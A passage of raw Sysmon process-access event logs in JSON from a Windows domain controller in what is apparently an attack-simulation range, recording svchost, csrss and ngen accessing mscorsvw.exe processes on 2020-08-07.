12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7053,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.416\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-001051AB0B00}\r\nTargetProcessId: 4684\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.416","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-001051AB0B00}","TargetProcessId":"4684","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:49","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7054,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.557\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-0010B4AF0B00}\r\nTargetProcessId: 4648\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.557","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-0010B4AF0B00}","TargetProcessId":"4648","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:49","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7055,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.557\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-0010B4AF0B00}\r\nTargetProcessId: 4648\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.557","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-0010B4AF0B00}","TargetProcessId":"4648","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:49","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7056,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-0010B4AF0B00}\r\nTargetProcessId: 4648\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-0010B4AF0B00}","TargetProcessId":"4648","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:49","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7057,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.619\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-0010BFB30B00}\r\nTargetProcessId: 4332\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.619","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-0010BFB30B00}","TargetProcessId":"4332","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7058,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.619\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-0010BFB30B00}\r\nTargetProcessId: 4332\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.619","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-0010BFB30B00}","TargetProcessId":"4332","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7059,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.619\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-0010BFB30B00}\r\nTargetProcessId: 4332\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.619","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-0010BFB30B00}","TargetProcessId":"4332","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7060,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.666\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-001050B70B00}\r\nTargetProcessId: 3544\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 